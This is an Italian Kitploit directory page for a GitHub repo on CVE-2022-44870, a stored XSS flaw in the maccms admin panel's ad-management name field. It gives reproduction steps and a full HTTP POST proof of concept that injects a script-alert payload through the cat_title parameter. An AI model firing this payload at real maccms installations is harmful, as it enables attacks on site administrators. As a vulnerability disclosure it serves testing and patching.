Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2022-44870 — maccms admin+ xss attacks | Kitploit
Strumenti/GitHubGitHub/cedric1314/cve-2022-44870
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration Testing
GitHubcedric1314/cve-2022-44870

CVE-2022-44870

maccms admin+ xss attacks

Vedi Repository
23 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2022-44870 maccms admin+ attacchi xss

Panoramica

Informazioni sul sito web del produttore：https://maccms.pro

Indirizzo per il download del codice sorgente： https://github.com/maccmspro/maccms10.git

  1. Versione interessata: V2021.1000.2000

    Immagine

  2. Dettagli della vulnerabilità

https://github.com/maccmspro/maccms10/issues/23

Vai al pannello di amministrazione, vai a Base > Gestione AD > Nome,

Inserisci il payload1 nella casella del nome:

Può causare attacchi XSS.

Nome della vulnerabilità: XSS di tipo persistente

Livello di rischio: Medio

Posizione della vulnerabilità: Gestione pubblicità --> nome

Inserisci in cat_title

http://127.0.0.1/admin.php/admin/banner/infocat.html

Immagine

Immagine
  1. Vulnerabilità ricorrenti e POC

POST /admin.php/admin/banner/infocat.html HTTP/1.1

Host: 192.168.52.163

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:108.0) Gecko/20100101 Firefox/108.0

Accept: /

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Content-Length: 65

Scarica lo strumento

Origin: http://192.168.52.163

Connection: close

Referer: http://192.168.52.163/admin.php/admin/banner/infocat.html

Cookie: PHPSESSID=qgaks01bl6ip8j7fseaabj4l9q

cat_id=&cat_title=%3Cscript%3Ealert(1)%3C%2Fscript%3E&cat_code=111

Immagine